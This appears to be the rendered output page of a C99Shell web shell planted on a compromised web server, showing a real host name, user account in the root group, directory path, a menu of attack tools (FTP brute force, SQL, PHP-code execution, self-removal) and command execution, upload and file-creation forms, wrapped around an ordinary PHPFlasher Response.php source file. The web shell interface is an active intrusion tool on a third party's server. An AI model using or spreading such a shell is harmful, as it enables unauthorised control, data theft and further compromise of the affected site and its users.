!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher/Response/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Response.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Prime\Response;

use 
Flasher\Prime\Notification\Envelope;

final class 
Response
{
    
/**
     * @var Envelope[]
     */
    
private $envelopes;

    
/**
     * @var string|null
     */
    
private $rootScript;

    
/**
     * @var string[]
     */
    
private $scripts = array();

    
/**
     * @var string[]
     */
    
private $styles = array();

    
/**
     * @var array<string, array<string, mixed>>
     */
    
private $options = array();

    
/**
     * @var array<string, mixed>
     */
    
private $context;

    
/**
     * @param Envelope[]           $envelopes
     * @param array<string, mixed> $context
     */
    
public function __construct(array $envelopes, array $context)
    {
        
$this->envelopes $envelopes;
        
$this->context $context;
    }

    
/**
     * @param string[] $scripts
     *
     * @return void
     */
    
public function addScripts(array $scripts)
    {
        
$this->scripts array_merge($this->scripts$scripts);
    }

    
/**
     * @param string[] $styles
     *
     * @return void
     */
    
public function addStyles(array $styles)
    {
        
$this->styles array_merge($this->styles$styles);
    }

    
/**
     * @param string               $alias
     * @param array<string, mixed> $options
     *
     * @return void
     */
    
public function addOptions($alias, array $options)
    {
        
$this->options[$alias] = $options;
    }

    
/**
     * @return Envelope[]
     */
    
public function getEnvelopes()
    {
        return 
$this->envelopes;
    }

    
/**
     * @return string|null
     */
    
public function getRootScript()
    {
        return 
$this->rootScript;
    }

    
/**
     * @param string|null $rootScript
     *
     * @return void
     */
    
public function setRootScript($rootScript)
    {
        
$this->rootScript $rootScript;
    }

    
/**
     * @return string[]
     */
    
public function getStyles()
    {
        return 
array_values(array_filter(array_unique($this->styles)));
    }

    
/**
     * @return string[]
     */
    
public function getScripts()
    {
        return 
array_values(array_filter(array_unique($this->scripts)));
    }

    
/**
     * @return array<string, array<string, mixed>>
     */
    
public function getOptions()
    {
        return 
$this->options;
    }

    
/**
     * @return array<string, mixed>
     */
    
public function getContext()
    {
        return 
$this->context;
    }

    
/**
     * @param mixed $filter
     *
     * @return array<string, mixed>
     */
    
public function toArray($filter false)
    {
        
$envelopes array_map(function (Envelope $envelope) {
            return 
$envelope->toArray();
        }, 
$this->getEnvelopes());

        
$response = array(
            
'envelopes' => $envelopes,
            
'scripts' => $this->getScripts(),
            
'styles' => $this->getStyles(),
            
'options' => $this->getOptions(),
        );

        if (
false === $filter) {
            return 
$response;
        }

        return 
array_filter($response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--